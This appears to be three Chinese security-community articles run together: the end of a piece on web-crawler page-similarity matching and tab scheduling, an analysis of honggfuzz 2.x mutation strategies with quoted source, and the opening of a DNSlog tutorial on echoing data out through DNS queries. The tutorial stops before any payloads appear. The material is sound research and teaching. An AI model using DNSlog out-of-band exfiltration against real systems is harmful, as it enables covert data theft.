一个网页主要包含两大部分：网页结构和网页内容。一些伪静态网页的内容可能会由不同的信息填充，但每个网页都有自己独一无二的结构，结构极其相似的网页，多半都属于伪静态页面。每一个节点它的节点名、属性值、和父节点的关系、和子节点的关系、和兄弟的关系都存在特异性。节点的层级越深，对整个DOM结构的影响越小，反之则越大。同级的兄弟节点越多，对DOM结构的特异性影响也越小。可以根据这些维度，对整个DOM结构进行一个特征提取，设定不同的权值，同时转化为特征向量，然后再对两个不同的网页之间的特征向量进行相似度比较（如伪距离公式），即可准确判断两个网页的结构相似度。
这方面早已有人做过研究，百度10年前李景阳的专利[《网页结构相似性确定方法及装置》](http://xueshu.baidu.com/usercenter/paper/show?paperid=232b0da253211ecf9e2c85cb513d0bd3&site=xueshu_se)
就已经很清楚的讲述了如何确定网页结构相似性。全文通俗易懂，完全可以自动手动实现一个简单的程序去判断网页结构相似度。整体不算复杂，希望大家自己动手实现。
#### 大量网页快速相似匹配
这里我想讲一下，在已经完成特征向量提取之后，面对庞大的网页文档，如何做到 **在大量存储文档中快速搜索和当前网页相似的文档**
。这部分是基于我自己的摸索，利用ElasticSearch的搜索特性而得出的 **简单方法** 。
首先，我们在通过一系列处理之后，将网页结构转化为了特征向量，比如请求
`https://www.360.cn/`的网页内容经过转化后，得到了维数为键，权值为值的键值对，即特征向量：
{
5650: 1.0,
5774: 0.196608,
5506: 0.36,
2727: 0.157286,
1511: 0.262144,
540: 0.4096,
1897: 0.4096,
972: 0.262144,
... ...
}
一般稍微复杂点的网页全部特征向量会有数百上千个，在大量的文档中进行遍历比较几乎不可能，需要进行压缩，这里使用最简单的维数 **取余**
方式，将维数压缩到100维，之后再对值进行离散化变成整数：
{ 50: 13, 75: 8, 92: 18, 33: 12, 2: 15, 86: 10, 9: 9, 95: 10, 55: 14, 42: 12, 35: 15, 82: 10, 17: 7, 54: 14, 22: 11, 10: 16, 77: 11, 44: 17, 60: 9, 26: 19, ... ... }
现在，我们得到了一个代表360主站网页结构的100维 **模糊特征向量**
，由0-99为键的整数键值对组成，接下来，我们按照键的大小顺序排列，组成一个空格分割的字符串：
0:2 1:10 2:15 3:9 4:4 5:7 6:10 7:15 8:11 9:9 10:16 11:4 12:12 ... ...
最后我们将其和网页相关内容本身一起存入ElasticSearch中，同时对该向量设置分词为`whitespace`：
"fuzz_vector": {
"type": "text",
"analyzer": "whitespace"
}
这样，我们将模糊特征向量保存了下来。当新发现一个网页文档时，如何查找？
首先我们需要明白，这个100维特征向量就代表这个网页文档的结构，相似的网页，在相同维数上的权值是趋于相同的（因为我们进行了离散化），所以，如果我们能计算两个向量在相同维数上权值相同的个数，就能大致确定这两个网页是否相似！
举个例子，对于安全客的两篇文章，`https://www.anquanke.com/post/id/178047` 和
`https://www.anquanke.com/post/id/178105` ，我们分别进行以上操作，可以得到以下的两组向量：
0:6 1:5 2:3 3:7 4:5 5:1 6:9 7:2 8:4 9:6 10:4 11:4 12:6 13:2 14:10 15:10 16:8 ...
0:6 1:6 2:3 3:7 4:5 5:1 6:9 7:2 8:3 9:6 10:4 11:4 12:6 13:2 14:10 15:8 16:8 ...
相同的键值对占到了 **70**
个，说明大部分维度的DOM结构都是相似的。通过确定一个阈值（如30或者50），找出相同键值对大于这个数的文档即可。一般会得到 **个位数**
的文档，再对它们进行完整向量的相似度计算，即可准确找出和当前文档相似的历史文档。
那么如何去计算两个字符串中相同词的个数呢？或者说，如果根据某个阈值筛选出符合要求的文档呢？答案是利用ElasticSearch的match分词匹配。
"query": {
"match": {
"fuzz_vector": {
"query": "0:6 1:5 2:3 3:7 4:5 5:1 6:9 7:2 8:4 ... ...",
"operator": "or",
"minimum_should_match": 30
}
}
}
以上查询能快速筛选出相同键值对个数为30及以上的文档，这种分词查询对于亿级文档都是毫秒返回。
## 0x08 任务调度
我这里谈论的任务调度并不是指链接的去重以及优先级排列，而是具体到单个browser如何去管理对应的tab，因为Chromium的启动和关闭代价非常大，远大于标签页Tab的开关，并且如果想要将Chromium云服务化，那么必须让browser长时间驻留，所以我们在实际运行的时候，应当是在单个browser上开启多个Tab，任务的处理都在Tab上进行。
那么这里肯定会涉及到browser对Tab的管理，如何动态增减？我使用的是`pyppeteer`，因为CDP相关操作均是 **异步**
，那么对Tab的动态增减其实就等价于 **协程任务** 的动态增减。
首先，得确定单个browser允许同时处理的最大Tab数，因为单个browser其实就是一个进程，而当Tab数过多时，维持了过多的websocket连接，当你的处理逻辑较复杂，单个进程的CPU占用就会达到极限，相关任务会阻塞，效率下降，某些Tab页面会超时退出。所以单个的browser能同时处理的Tab页面必须控制到一定的阈值，这个值可以根据观察CPU占用来确定。
实现起来思路很简单，创建一个事件循环，判断当前事件循环中的任务数与最大阈值的差值，往其中新增任务即可。同时，因为开启事件循环后主进程阻塞，我们监控事件循环的操作也必须是异步的，办法就是创建一个任务去往自身所在的事件循环添加任务。
当然，真实的事件循环并不是一个图中那样的顺序循环，不同的任务有不同占用时间以及调用顺序。
示例代码如下：
import asyncio
class Scheduler(object):
def __init__(self, task_queue):
self.loop = asyncio.get_event_loop()
self.max_task_count = 10
self.finish_count = 0
self.task_queue = task_queue
self.task_count = len(task_queue)
def run(self):
self.loop.run_until_complete(self.manager_task())
async def tab_task(self, num):
print("task {num} start run ... ".format(num=num))
await asyncio.sleep(1)
print("task {num} finish ... ".format(num=num))
self.finish_count += 1
async def manager_task(self):
# 任务队列不为空 或 存在未完成任务
while len(self.task_queue) != 0 or self.finish_count != self.task_count:
if len(asyncio.Task.all_tasks(self.loop)) - 1 < self.max_task_count and len(self.task_queue) != 0:
param = self.task_queue.pop(0)
self.loop.create_task(self.tab_task(param))
await asyncio.sleep(0.5)
if __name__ == '__main__':
Scheduler([1, 2, 3, 4, 5]).run()
运行结果如下：
> Chromium 的相关操作必须在主线程完成，意味着你无法通过多线程去开启多个Tab和browser。
## 0x09 结语
关于爬虫的内容上面讲了这么多依旧没有概括完，调度关系到你的效率，而本文内容中的细节能够决定你的爬虫是否比别人发现更多链接。特别是扫描器爬虫，业务有太多的case让你想不到，需要经历多次的漏抓复盘才能发现更多的情况并改善处理逻辑，这也是一个经验积累的过程。如果你有好的点子或思路，非常欢迎和我交流！
微博：[@9ian1i](https://github.com/9ian1i "@9ian1i")
## 0x10 参考文档
[@fate0](https://github.com/fate0 "@fate0")： [爬虫基础篇[Web
漏洞扫描器]](http://blog.fatezero.org/2018/03/05/web-scanner-crawler-01/)，[爬虫
JavaScript 篇[Web 漏洞扫描器]](http://blog.fatezero.org/2018/04/09/web-scanner-crawler-02/)， [爬虫调度篇[Web 漏洞扫描器]](http://blog.fatezero.org/2018/04/15/web-scanner-crawler-03/)
[@Fr1day](https://github.com/Fr1day "@Fr1day")：
[浅谈动态爬虫与去重](https://www.anquanke.com/post/id/85298)，[浅谈动态爬虫与去重(续)](https://www.anquanke.com/post/id/95294)
@猪猪侠： 《WEB2.0启发式爬虫实战》
<https://peter.sh/experiments/chromium-command-line-switches/>
<https://miyakogi.github.io/pyppeteer/>
## 关于我们
0Kee
Team隶属于360信息安全部，360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有区块链安全、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全等多个方向，基本覆盖互联网安全主要领域。 | 社区文章 |
# honggfuzz-v2.X版本变异策略及const_feedback特性分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
honggfuzz在4月21日fuzzbench的性能测试[1]中一骑绝尘，战胜老对手AFL、libfuzzer摘得桂冠。前段时间，google
Project Zero
安全研究员也是通过对honggfuzz进行二次开发成功发现苹果闭源图片处理库的多个漏洞[2]。honggfuzz的2.X版本中引入的
`const_feedback` （使用被 fuzz
程序中的常量整数/字符串值通过动态字典处理输入文件）显著减少运行过程中指令迭代次数[3]，提高了漏洞挖掘效率。
honggfuzz以前也有很多前辈对其进行过分析[5]
[6]，但大多数还是2.X版本之前的，本篇文章重点介绍新版本中`const_feedback`和新变异策略的相关实现。
本次使用的honggfuzz版本为2.2（74e7bc161662269b6ff4cdb3e2fdd2ad0bebd69b）。此版本已经默认打开`const_feedback`功能。
## trace-cmp
使用 hfuzz-clang 编译目标文件代码时，`-fsanitize-coverage = trace-pc-guard，indirect-calls，trace-cmp` 标志集将自动添加到 clang 的命令行中。新版本中引入了与 trace-cmp
相关的新变异策略，本次重点对其介绍。其余参数之前有文章分析过不再赘述[6]
包含此标志时，编译器在比较指令和switch指令之前插入如下代码：
/* Standard __sanitizer_cov_trace_cmp wrappers */
void __sanitizer_cov_trace_cmp1(uint8_t Arg1, uint8_t Arg2)
void __sanitizer_cov_trace_cmp2(uint16_t Arg1, uint16_t Arg2)
void __sanitizer_cov_trace_cmp4(uint32_t Arg1, uint32_t Arg2)
void __sanitizer_cov_trace_cmp8(uint64_t Arg1, uint64_t Arg2)
/* Standard __sanitizer_cov_trace_const_cmp wrappers */
void __sanitizer_cov_trace_const_cmp1(uint8_t Arg1, uint8_t Arg2)
void __sanitizer_cov_trace_const_cmp2(uint16_t Arg1, uint16_t Arg2)
void __sanitizer_cov_trace_const_cmp4(uint32_t Arg1, uint32_t Arg2)
void __sanitizer_cov_trace_const_cmp8(uint64_t Arg1, uint64_t Arg2)
之后会调用`instrumentAddConstMem()`或
`instrumentAddConstMemInternal()`函数将比较的常量值存入`globalCmpFeedback`中：
static inline void instrumentAddConstMemInternal(const void* mem, size_t len) {
if (len == 0) {
return;
}
if (len > sizeof(globalCmpFeedback->valArr[0].val)) {
len = sizeof(globalCmpFeedback->valArr[0].val);
}
uint32_t curroff = ATOMIC_GET(globalCmpFeedback->cnt);
if (curroff >= ARRAYSIZE(globalCmpFeedback->valArr)) {
return;
}
for (uint32_t i = 0; i < curroff; i++) {//若该常量已存在在列表中，跳过
if ((len == ATOMIC_GET(globalCmpFeedback->valArr[i].len)) &&
libc_memcmp(globalCmpFeedback->valArr[i].val, mem, len) == 0) {
return;
}
}
uint32_t newoff = ATOMIC_POST_INC(globalCmpFeedback->cnt);
if (newoff >= ARRAYSIZE(globalCmpFeedback->valArr)) {
ATOMIC_SET(globalCmpFeedback->cnt, ARRAYSIZE(globalCmpFeedback->valArr));
return;
}
memcpy(globalCmpFeedback->valArr[newoff].val, mem, len);
ATOMIC_SET(globalCmpFeedback->valArr[newoff].len, len);
wmb();
}
`globalCmpFeedback`结构体定义如下：
typedef struct {
uint32_t cnt;//存储常量值个数
struct {
uint8_t val[32];//常量值
uint32_t len; //常量值长度
} valArr[1024 * 16];
} cmpfeedback_t;
最后调用 `hfuzz_trace_cmpx_internal`若输入与待验证比较后相同的位数增加则更新 bitmap。
HF_REQUIRE_SSE42_POPCNT static inline void hfuzz_trace_cmp1_internal(
uintptr_t pc, uint8_t Arg1, uint8_t Arg2) {
uintptr_t pos = pc % _HF_PERF_BITMAP_SIZE_16M;
register uint8_t v = ((sizeof(Arg1) * 8) - __builtin_popcount(Arg1 ^ Arg2));
uint8_t prev = ATOMIC_GET(globalCovFeedback->bbMapCmp[pos]);
if (prev < v) {
ATOMIC_SET(globalCovFeedback->bbMapCmp[pos], v);
ATOMIC_POST_ADD(globalCovFeedback->pidNewCmp[my_thread_no], v - prev);
wmb();
}
}
## 变异策略
整体来讲，除了个别新策略如`mangle_ConstFeedbackDict`、`mangle_StaticDict`外，还对一些原有策略进行划分，封装。
fuzz策略的实现主要集中在mangle.c中，在循环的`fuzzloop`函数中，会根据用户的选择的 fuzz 方式来调用
`input_prepareDynamicInput`
或者`input_prepareStaticFile`，但最后都是调用`mangle_mangleContent`来变异文件数据。
`mangle_mangleContent`函数部分实现如下：
//mangle.c#L840
if (run->mutationsPerRun == 0U) {//设置变异率为0，仅作打开处理，通常用于验证崩溃
return;
}
if (run->dynfile->size == 0U) { //对空文件赋予随机size
mangle_Resize(run, /* printable= */ run->global->cfg.only_printable);
}
uint64_t changesCnt = run->global->mutate.mutationsPerRun;
//根据speed_factor大小设置changesCnt值，该值为之后变异的轮数
if (speed_factor < 5) {
changesCnt = util_rndGet(1, run->global->mutate.mutationsPerRun);
} else if (speed_factor < 10) {
changesCnt = run->global->mutate.mutationsPerRun;
} else {
changesCnt = HF_MIN(speed_factor, 12);
changesCnt = HF_MAX(changesCnt, run->global->mutate.mutationsPerRun);
}
//如果最后一次获取覆盖率时间超过5秒，则提高拼接变异的使用概率
if ((time(NULL) - ATOMIC_GET(run->global->timing.lastCovUpdate)) > 5) {
if (util_rnd64() % 2) {
mangle_Splice(run, run->global->cfg.only_printable);
}
}
//随机选择变异函数对输入文件内容进行变异
for (uint64_t x = 0; x < changesCnt; x++) {
uint64_t choice = util_rndGet(0, ARRAYSIZE(mangleFuncs) - 1);
mangleFuncs[choice](run, /* printable= */ run->global->cfg.only_printable);
}
变异函数列表如下：
这里添加多个 `mangle_Shrink` 的原因是为了减少其他操作中插入或扩展文件带来的文件大小增大。
//mangle.c#L812
static void (*const mangleFuncs[])(run_t * run, bool printable) = {
/* Every *Insert or Expand expands file, so add more Shrink's */
mangle_Shrink,
mangle_Shrink,
mangle_Shrink,
mangle_Shrink,
mangle_Expand,
mangle_Bit,
mangle_IncByte,
mangle_DecByte,
mangle_NegByte,
mangle_AddSub,
mangle_MemSet,
mangle_MemSwap,
mangle_MemCopy,
mangle_Bytes,
mangle_ASCIINum,
mangle_ASCIINumChange,
mangle_ByteRepeatOverwrite,
mangle_ByteRepeatInsert,
mangle_Magic,
mangle_StaticDict,
mangle_ConstFeedbackDict,
mangle_RandomOverwrite,
mangle_RandomInsert,
mangle_Splice,
};
### mangle_Shrink
删除随机长度的文件内容。
static void mangle_Shrink(run_t* run, bool printable HF_ATTR_UNUSED) {
if (run->dynfile->size <= 2U) {
return;
}
size_t off_start = mangle_getOffSet(run);
size_t len = mangle_LenLeft(run, off_start);
if (len == 0) {
return;
}
if (util_rnd64() % 16) {
len = mangle_getLen(HF_MIN(16, len));
} else {
len = mangle_getLen(len);
}
size_t off_end = off_start + len;
size_t len_to_move = run->dynfile->size - off_end;
mangle_Move(run, off_end, off_start, len_to_move);
input_setSize(run, run->dynfile->size - len);
}
### mangle_Expand
文件末尾扩展随机长度的空间，用空格填充，然后在随机位置，取前面的随机长度作数据拷贝。
static void mangle_Expand(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
size_t len;
if (util_rnd64() % 16) {
len = mangle_getLen(HF_MIN(16, run->global->mutate.maxInputSz - off));
} else {
len = mangle_getLen(run->global->mutate.maxInputSz - off);
}
mangle_Inflate(run, off, len, printable);
}
static inline size_t mangle_Inflate(run_t* run, size_t off, size_t len, bool printable) {
if (run->dynfile->size >= run->global->mutate.maxInputSz) {
return 0;
}
if (len > (run->global->mutate.maxInputSz - run->dynfile->size)) {
len = run->global->mutate.maxInputSz - run->dynfile->size;
}
input_setSize(run, run->dynfile->size + len);
mangle_Move(run, off, off + len, run->dynfile->size);
if (printable) {
memset(&run->dynfile->data[off], ' ', len);
}
return len;
}
### mangle_Bit
取随机位置的数值做位翻转。
static void mangle_Bit(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
run->dynfile->data[off] ^= (uint8_t)(1U << util_rndGet(0, 7));
if (printable) {
util_turnToPrintable(&(run->dynfile->data[off]), 1);
}
}
### mangle_IncByte/DecByte/NegByte
随机位置的数据加1/减1/取反。
static void mangle_IncByte(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
if (printable) {
run->dynfile->data[off] = (run->dynfile->data[off] - 32 + 1) % 95 + 32;
} else {
run->dynfile->data[off] += (uint8_t)1UL;
}
}
static void mangle_DecByte(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
if (printable) {
run->dynfile->data[off] = (run->dynfile->data[off] - 32 + 94) % 95 + 32;
} else {
run->dynfile->data[off] -= (uint8_t)1UL;
}
}
static void mangle_NegByte(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
if (printable) {
run->dynfile->data[off] = 94 - (run->dynfile->data[off] - 32) + 32;
} else {
run->dynfile->data[off] = ~(run->dynfile->data[off]);
}
}
### mangle_AddSub
取随机位置的1、2、4或8字节的数据长度作加减操作，新版本中对操作数范围进行划分，缩小了选择的范围。
static void mangle_AddSub(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
/* 1,2,4,8 */
size_t varLen = 1U << util_rndGet(0, 3);
if ((run->dynfile->size - off) < varLen) {
varLen = 1;
}
uint64_t range;
switch (varLen) {
case 1:
range = 16;//1<<4
break;
case 2:
range = 4096;//1<<12
break;
case 4:
range = 1048576;//1<<20
break;
case 8:
range = 268435456;//1<<28
break;
default:
LOG_F("Invalid operand size: %zu", varLen);
}
mangle_AddSubWithRange(run, off, varLen, range, printable);
}
static inline void mangle_AddSubWithRange(
run_t* run, size_t off, size_t varLen, uint64_t range, bool printable) {
int64_t delta = (int64_t)util_rndGet(0, range * 2) - (int64_t)range;
switch (varLen) {
case 1: {
run->dynfile->data[off] += delta;
break;
}
case 2: {
int16_t val;
memcpy(&val, &run->dynfile->data[off], sizeof(val));
if (util_rnd64() & 0x1) {
val += delta;
} else {
/* Foreign endianess */
val = __builtin_bswap16(val);
val += delta;
val = __builtin_bswap16(val);
}
mangle_Overwrite(run, off, (uint8_t*)&val, varLen, printable);
break;
}
case 4: {
int32_t val;
memcpy(&val, &run->dynfile->data[off], sizeof(val));
if (util_rnd64() & 0x1) {
val += delta;
} else {
/* Foreign endianess */
val = __builtin_bswap32(val);
val += delta;
val = __builtin_bswap32(val);
}
mangle_Overwrite(run, off, (uint8_t*)&val, varLen, printable);
break;
}
case 8: {
int64_t val;
memcpy(&val, &run->dynfile->data[off], sizeof(val));
if (util_rnd64() & 0x1) {
val += delta;
} else {
/* Foreign endianess */
val = __builtin_bswap64(val);
val += delta;
val = __builtin_bswap64(val);
}
mangle_Overwrite(run, off, (uint8_t*)&val, varLen, printable);
break;
}
default: {
LOG_F("Unknown variable length size: %zu", varLen);
}
}
}
### mangle_MemSet
取随机位置、随机大小，若为可打印字符用随机生成的可打印字符填充，否则用`UINT8_MAX` 填充。
static void mangle_MemSet(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
size_t len = mangle_getLen(run->dynfile->size - off);
int val = printable ? (int)util_rndPrintable() : (int)util_rndGet(0, UINT8_MAX);
memset(&run->dynfile->data[off], val, len);
}
### mangle_MemSwap
新策略，从文件随机两处取随机大小按这两块长度的最小值进行交换。
static void mangle_MemSwap(run_t* run, bool printable HF_ATTR_UNUSED) {
size_t off1 = mangle_getOffSet(run);
size_t maxlen1 = run->dynfile->size - off1;
size_t off2 = mangle_getOffSet(run);
size_t maxlen2 = run->dynfile->size - off2;
size_t len = mangle_getLen(HF_MIN(maxlen1, maxlen2));
uint8_t* tmpbuf = (uint8_t*)util_Malloc(len);
defer {
free(tmpbuf);
};
memcpy(tmpbuf, &run->dynfile->data[off1], len);
memmove(&run->dynfile->data[off1], &run->dynfile->data[off2], len);
memcpy(&run->dynfile->data[off2], tmpbuf, len);
}
### mangle_MemCopy
新策略，随机位置取随机大小内容插入/覆盖随机位置。
static void mangle_MemCopy(run_t* run, bool printable HF_ATTR_UNUSED) {
size_t off = mangle_getOffSet(run);
size_t len = mangle_getLen(run->dynfile->size - off);
/* Use a temp buf, as Insert/Inflate can change source bytes */
uint8_t* tmpbuf = (uint8_t*)util_Malloc(len);
defer {
free(tmpbuf);
};
memcpy(tmpbuf, &run->dynfile->data[off], len);
mangle_UseValue(run, tmpbuf, len, printable);
}
static inline void mangle_UseValue(run_t* run, const uint8_t* val, size_t len, bool printable) {
if (util_rnd64() % 2) {
mangle_Insert(run, mangle_getOffSetPlus1(run), val, len, printable);
} else {
mangle_Overwrite(run, mangle_getOffSet(run), val, len, printable);
}
}
### mangle_Bytes
随机位置插入/覆盖1~2字节数据。
static void mangle_Bytes(run_t* run, bool printable) {
uint16_t buf;
if (printable) {
util_rndBufPrintable((uint8_t*)&buf, sizeof(buf));
} else {
buf = util_rnd64();
}
/* Overwrite with random 1-2-byte values */
size_t toCopy = util_rndGet(1, 2);
mangle_UseValue(run, (const uint8_t*)&buf, toCopy, printable);
}
### mangle_ASCIINum
随机位置插入/覆盖 2~8 字节数据。
static void mangle_ASCIINum(run_t* run, bool printable) {
size_t len = util_rndGet(2, 8);
char buf[20];
snprintf(buf, sizeof(buf), "%-19" PRId64, (int64_t)util_rnd64());
mangle_UseValue(run, (const uint8_t*)buf, len, printable);
}
### mangle_ASCIINumChange
新策略，从随机位置起寻找数字，若未找到则执行`mangle_Bytes`操作，找到则随机对该数字进行加/减/乘/除/取反/替换随机数字。
static void mangle_ASCIINumChange(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
/* Find a digit */
for (; off < run->dynfile->size; off++) {
if (isdigit(run->dynfile->data[off])) {
break;
}
}
if (off == run->dynfile->size) {
mangle_Bytes(run, printable);
return;
}
size_t len = HF_MIN(20, run->dynfile->size - off);
char numbuf[21] = {};
strncpy(numbuf, (const char*)&run->dynfile->data[off], len);
uint64_t val = (uint64_t)strtoull(numbuf, NULL, 10);
switch (util_rndGet(0, 5)) {
case 0:
val += util_rndGet(1, 256);
break;
case 1:
val -= util_rndGet(1, 256);
break;
case 2:
val *= util_rndGet(1, 256);
break;
case 3:
val /= util_rndGet(1, 256);
break;
case 4:
val = ~(val);
break;
case 5:
val = util_rnd64();
break;
default:
LOG_F("Invalid choice");
};
len = HF_MIN((size_t)snprintf(numbuf, sizeof(numbuf), "%" PRIu64, val), len);
mangle_Overwrite(run, off, (const uint8_t*)numbuf, len, printable);
}
### mangle_ByteRepeatOverwrite
新策略，在随机位置选取随机不大于文件剩余空间大小的长度，覆盖为该随机位置的值。
static void mangle_ByteRepeatOverwrite(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
size_t destOff = off + 1;
size_t maxSz = run->dynfile->size - destOff;
/* No space to repeat */
if (!maxSz) {
mangle_Bytes(run, printable);
return;
}
size_t len = mangle_getLen(maxSz);
memset(&run->dynfile->data[destOff], run->dynfile->data[off], len);
}
### mangle_ByteRepeatInsert
新策略，在随机位置选取随机不大于文件剩余空间大小的长度，插入该长度大小buffer并用之前选择的随机位置的值填充。
static void mangle_ByteRepeatInsert(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
size_t destOff = off + 1;
size_t maxSz = run->dynfile->size - destOff;
/* No space to repeat */
if (!maxSz) {
mangle_Bytes(run, printable);
return;
}
size_t len = mangle_getLen(maxSz);
len = mangle_Inflate(run, destOff, len, printable);
memset(&run->dynfile->data[destOff], run->dynfile->data[off], len);
}
### mangle_Magic
取各种边界值进行覆写。
static void mangle_Magic(run_t* run, bool printable) {
uint64_t choice = util_rndGet(0, ARRAYSIZE(mangleMagicVals) - 1);
mangle_UseValue(run, mangleMagicVals[choice].val, mangleMagicVals[choice].size, printable);
}
### mangle_StaticDict
新策略，随机从读入的字典中（`--dict`参数）选择一个magic，插入或替换。
static void mangle_StaticDict(run_t* run, bool printable) {
if (run->global->mutate.dictionaryCnt == 0) {
mangle_Bytes(run, printable);
return;
}
uint64_t choice = util_rndGet(0, run->global->mutate.dictionaryCnt - 1);
mangle_UseValue(run, run->global->mutate.dictionary[choice].val,
run->global->mutate.dictionary[choice].len, printable);
}
### mangle_ConstFeedbackDict
新策略，从cmpFeedbackMap中随机选取常量值，插入或覆盖随机位置。
static void mangle_ConstFeedbackDict(run_t* run, bool printable) {
size_t len;
const uint8_t* val = mangle_FeedbackDict(run, &len);
if (val == NULL) {
mangle_Bytes(run, printable);
return;
}
mangle_UseValue(run, val, len, printable);
}
static inline const uint8_t* mangle_FeedbackDict(run_t* run, size_t* len) {
if (!run->global->feedback.cmpFeedback) {
return NULL;
}
cmpfeedback_t* cmpf = run->global->feedback.cmpFeedbackMap;
uint32_t cnt = ATOMIC_GET(cmpf->cnt);
if (cnt == 0) {
return NULL;
}
if (cnt > ARRAYSIZE(cmpf->valArr)) {
cnt = ARRAYSIZE(cmpf->valArr);
}
uint32_t choice = util_rndGet(0, cnt - 1);
//从cmpFeedbackMap保存的常量值中随机选取一个
*len = (size_t)ATOMIC_GET(cmpf->valArr[choice].len);
if (*len == 0) {
return NULL;
}
return cmpf->valArr[choice].val;
}
### mangle_RandomOverwrite
新策略，随机位置选取随机长度进行覆盖。
static void mangle_RandomOverwrite(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
size_t len = mangle_getLen(run->dynfile->size - off);
if (printable) {
util_rndBufPrintable(&run->dynfile->data[off], len);
} else {
util_rndBuf(&run->dynfile->data[off], len);
}
}
### mangle_RandomInsert
新策略，随机位置选取随机长度进行插入。
static void mangle_RandomInsert(run_t* run, bool printable) {
size_t off = mangle_getOffSet(run);
size_t len = mangle_getLen(run->dynfile->size - off);
len = mangle_Inflate(run, off, len, printable);
if (printable) {
util_rndBufPrintable(&run->dynfile->data[off], len);
} else {
util_rndBuf(&run->dynfile->data[off], len);
}
}
### mangle_Splice
新策略，从输入文件中截取随机大小，插入/覆盖到原文件。
static void mangle_Splice(run_t* run, bool printable) {
const uint8_t* buf;
size_t sz = input_getRandomInputAsBuf(run, &buf);
if (!sz) {
mangle_Bytes(run, printable);
return;
}
size_t remoteOff = mangle_getLen(sz) - 1;
size_t len = mangle_getLen(sz - remoteOff);
mangle_UseValue(run, &buf[remoteOff], len, printable);
}
## 总结
可见 honggfuzz 此次新增加的一些变异策略可以对 fuzz 过程中通过 magic number
和一些判断校验起到积极的作用。对于fuzzbench的测试结果[1] [7] 笔者认为，首先 fuzzbench
项目目前正在完善，两次测试中间会对一些fuzzer的参数进行调整，就会出现两次测试间同一fuzzer对同一benchmark
测试效果截然不同，比如3月11日的测试[7] aflplusplus 一类的fuzzer是默认开启 laf 和 instrim 而 4月21日的测试[1]
则是将这两个参数移除了；其次，fuzzbench 只是收集运行24小时内的覆盖率信息作为评估标准，虽然 fuzzbench 也在讨论新的评估方式 [8]
,笔者认为评估维度还是不够丰富。因此 fuzzbench 目前的结果还是仅供参考，与afl、afl++ 众多扩展相比 honggfuzz
还有很多亟待提升的空间。
## 参考
[1] <https://www.fuzzbench.com/reports/2020-04-21/index.html>
[2] <https://googleprojectzero.blogspot.com/2020/04/fuzzing-imageio.html>
[3] <https://twitter.com/0xAcid/status/1237405604123115521>
[4] <https://github.com/google/honggfuzz>
[5] <https://riusksk.me/2018/10/14/honggfuzz5/>
[6] <https://www.anquanke.com/post/id/181936>
[7] <https://www.fuzzbench.com/reports/2020-03-11/index.html>
[8] <https://github.com/google/fuzzbench/issues/327> | 社区文章 |
# DNSlog
## 0.说在前面
### 0.1.DNSlog工具
如果有自己的服务器和域名，可以自建一个这样的平台，直接使用BugScan团队开源的工具搭建即可：
<https://github.com/BugScanTeam/DNSLog>
另外我们也可以使用在线平台：
<http://ceye.io>
<http://www.dnslog.cn>
#### 0.1.1.`[www.dnslog.cn](http://www.dnslog.cn)`使用方法
（1）Get
SubDomain的意思是获取子域名，这里点击完就给我们一个三级域名。复制完后，打开新网页并粘贴在url上，访问[
（2）点击完会出现一条DNS记录[
##### 0.1.1.1.注意
[
这里一直刷新访问网址，并在DNSlog.cn里刷新记录（Refresh
Record），可是无论怎么刷新，记录都是只有这几条。因为dns协议的目的是我要访问这个域名，可是不知道对应的ip，我就去问，第一次不知道，第二次不知道，第三次也不知道，那第四次总该记住了，这就是dns缓存了的问题。碰到一个新来的域名我不知道，但是问了几次之后我就知道了，我就不需要再查询了。这就是为什么怎么刷新都不会有新的记录了。
###### 解决方法
像下图这样在前面加一个1.，使它变成新的域名，再重新访问后，再刷新记录，就有了
[
#### 0.1.2.`[ceye.io](http://ceye.io)`使用方法
和`http://www.dnslog.cn`使用方法类似
（1）login进入后，会给我们一个三级域名，在用户详情页"Profile"中自己的域名标识符"Identifier"。对于每个用户，都有唯一的域名标识符如
xxx.ceye.io 。所有来自于 xxx.ceye.io 或 *.xxx.ceye.io 的DNS查询和HTTP请求都会被记录。
（2）我们复制完，打开新网页并粘贴在url上，访问
（3）最后可以在"Records"里的"DNS Query"中查看
## 1.什么是DNSlog
我们都知道DNS就是将域名解析为ip，用户在浏览器上输入一个域名`A.com`，就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1，这样就可以访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名`www.baidu.com`等的访问信息，类似日志文件。
## 2.DNSlog回显原理
前面说DNSlog就是日志，那怎么用DNSlog进行注入并回显信息呢。我们得再了解一个多级域名的概念。
[域名分级与域名解析过程(DNS)](https://blog.csdn.net/weixin_50464560/article/d
etails/117607146)
因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分（按机构组织划分），域可被划分为子域，子域可再被划分，即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等，用点隔开。如：
`tieba.baidu.com`
它由三个标号组成， com即为顶级域名，baidu为二级域名，tieba即为三级域名。且域名不区分大小写。
再来看一个图：
[
通俗的说就是我有个已注册的域名`a.com`，我在域名代理商那里将域名设置对应的ip 1.1.1.1
上，这样当我向dns服务器发起a.com的解析请求时，DNSlog中会记录下他给a.com解析，解析值为1.1.1.1，而我们这个解析的记录的值就是我们要利用的地方。
看个直观一点的例子来理解：
ping命令的时候会用到DNS解析所以我就用ping命令做个实验。
[
DNSlog.cn中也记录了下来
[
